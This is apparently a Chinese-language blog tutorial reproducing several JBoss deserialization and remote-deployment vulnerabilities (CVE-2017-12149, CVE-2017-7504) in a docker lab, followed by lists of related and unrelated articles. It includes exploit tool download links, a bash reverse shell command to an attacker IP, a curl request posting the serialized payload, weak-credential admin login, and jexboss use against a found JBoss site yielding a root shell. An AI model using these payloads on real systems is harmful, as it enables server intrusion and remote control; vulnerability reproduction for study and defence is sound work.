JBOSS中间件漏洞总汇复现

JBoss JMXInvokerServlet 反序列化漏洞

漏洞复现

直接使用docker搭建的漏洞环境。

环境搭建完成后,直接使用工具检测即可:工具下载地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

环境启动以后,直接访问http://you-ip:8080

使用下载的工具进行检测  java -jar DeserializeExploit.jar

执行命令

文件管理

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

参考链接:https://www.cnblogs.com/Hi-blog/p/7904443.html

漏洞背景

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞复现

漏洞环境

靶机地址:192.168.10.144  服务端口:8080

测试机: 192.168.10.150

搭建好环境,访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly

  响应码500,证明漏洞存在。

下载漏洞利用工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip

先编译:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

设置反弹的IP和端口

这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址。

先在测试机运行nc命令,进入监听模式:

再打开另一个控制台,运行如下curl命令:

反弹成功

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

前言

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

漏洞环境

此次环境尝试用docker搭建。

靶机:

ip:192.168.10.144    操作系统:ubuntu18.0.4 LTS

攻击机:

ip:192.168.10.150    操作系统:kali

一、环境搭建

  1.docker的安装参考

    https://www.howtoing.com/ubuntu-docker

  2.安装完docker后,直接拉取vulhub的源码。

    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

  3.靶机启动服务

    执行如下命令启动JBoss AS 4.0.5

      docker-compose up -d

  4.环境启动后,地址为http://192.168.112.132:8080/

漏洞复现

一、exp准备:

  用法:

二、exploit
  1) 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.10.150/1234 0>&1"       #ser全称serialize,序列化恶意数据至文件。

第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class

第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser

2)发射:

将该文件作为请求数据主体发送如下数据包:curl http://192.168.10.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary
@ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意为以二进制的方式post数据

反弹成功

JBoss远程部署漏洞

参考链接:https://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html

漏洞产生

后端未对用户可控参数做严格的过滤。

漏洞危害

导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制。

漏洞复现

直接使用docker搭建的漏洞环境。

访问:http://you-ip:8080/

点击,访问后台 使用弱口令登陆(admin--admin)

进入后台,如图所示

找到如下图所示的入口,点击进入

找到这个入口

在输入框中写入war压缩文件webshell的url地址,如上图

点击invoke执行界面获得一个jsp的webshell,(没有合适的jsp包)

使用kali复现

参考链接:https://blog.csdn.net/u011215939/article/details/79141624

所需工具:kallinux,jexboss,

获取工具:打开kalilinux,在kali终端中输入以下命令:

下载完成

运行 python jexboss.py

检验是否能够执行,可以执行就是如下:

找一个jboos的网站,如图所示

将这个IP:8080复制到kalilinux中使用jexboss工具进行检测;

执行,工具会依次检测一下项目,有漏洞就会显示红色的:VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用

然后选择yes,开始创建连接;

返回信息显示连接成功了;

现在获取了shell,开始执行shell命令了;返回的信息显示,这是一个linux操作系统;

执行几条命令看看; root权限

JBOSS中间件漏洞总汇复现的更多相关文章

  1. TomCat中间件漏洞复现总汇

    TomCat中间件漏洞复现 前言 在渗透测试过程中,遇到php的站相对多一点,所以对apache了解的也多一点.TomCat中间件的站了解的比较少一点,这是自己第一次搭建环境测试漏洞,所以在自己摸索的 ...

  2. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

  3. jboss反序列化漏洞复现(CVE-2017-7504)

    jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...

  4. 常见web中间件漏洞(五)weblogic漏洞

    继续整理有关中间件漏洞思路(仅做简单思路整理,不是复现,复现请参考大佬们的长篇好文,会在文章中列举部分操作) WebLogic是Oracle公司出品的一个application server,确切的说 ...

  5. JBoss高危漏洞分析

    前言 JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用:JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1.EJB 2.0和EJB3规 ...

  6. 常见web中间件漏洞(四)Tomcat漏洞

    这部分好久没写了,继续更新web中间件漏洞思路整理(不复现) ,争取...整理完 前几篇指路链接: nginx: https://www.cnblogs.com/lcxblogs/p/13596239 ...

  7. weblogic AND jboss 反序列化漏洞

    C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF serv ...

  8. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  9. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

随机推荐

  1. 语音信号的梅尔频率倒谱系数(MFCC)的原理讲解及python实现

    梅尔倒谱系数(MFCC) 梅尔倒谱系数(Mel-scale FrequencyCepstral Coefficients,简称MFCC).依据人的听觉实验结果来分析语音的频谱, MFCC分析依据的听觉 ...

  2. Jmeter介绍和安装

    Apache JMeter™应用开源软件,100%纯Java应用程序,设计用于负载功能测试和性能测试.它最初是为测试Web应用程序而设计的,但后来扩展到其他测试函数中. 安装步骤:1.安装JDK 8版 ...

  3. 【JVM学习】2.Java虚拟机运行时数据区

    来源: 公众号: 猿人谷 这里我们先说句题外话,相信大家在面试中经常被问到介绍Java内存模型,我在面试别人时也会经常问这个问题.但是,往往都会令我比较尴尬,我还话音未落,面试者就会"背诵& ...

  4. 61 (OC)* 代理 block 通知 代理 kvo

    1.从源头上理解和区别block和delegate delegate运行成本低,block的运行成本高. block出栈需要将使用的数据从栈内存拷贝到堆内存,当然对象的话就是加计数,使用完或者bloc ...

  5. Junit测试Service类方法教程

    Junit测试是很方便的,本博客记录一下Junit测试一些Service接口的方法,这样可以不运行项目,在@Test注解的方法里直接测试 Maven引入jar包: <properties> ...

  6. Python3.7.4入门-0/1To Begin/数据类型与结构

    0 To Begin //:向下取整除法 **:乘方 在交互模式下,上一次打印出来的表达式被赋值给变量 _ 如果不希望前置了 \ 的字符转义成特殊字符,可以使用 原始字符串 方式,在引号前添加 r 即 ...

  7. Appium+python自动化(三十八) - Appium自动化测试框架综合实践 - 框架简介-助你冲击高薪,迎娶白富美(超详解)

    简介 好久没有更新博客了,博友们是不是有点等不及了.不好意思啊,中秋节过后太忙了,这篇是好不容易抽点零碎时间写的.从这一篇开始小伙伴或者童鞋们,就跟随宏哥的脚步,一步步的从无到有,从0到1的搭建一个完 ...

  8. 括号匹配(c语言实现)

    ⭐ 我的网站: www.mengyingjie.com ⭐ 1要求 编写程序检查该字符串的括号是否成对出现,而且不能交叉出现. 输入: 一个字符串,里边可能包含"()"." ...

  9. Python学习-列表深浅拷贝

    一.先看一个简单的赋值语句 lst1 = ['France', 'Belgium', 'England'] lst2 = lst1 # lst1.append('Uruguay') lst2.appe ...

  10. Vue Element 导航子路由不选中问题

    首先说下遇到的问题 1.进入嵌套路由,当前父导航无法高亮显示 2.页面刷新后导航重置问题 3.在嵌套路由刷新页面也会导致导航重置问题 接下来是解决方案: elementUI 里面有个属性 defaul ...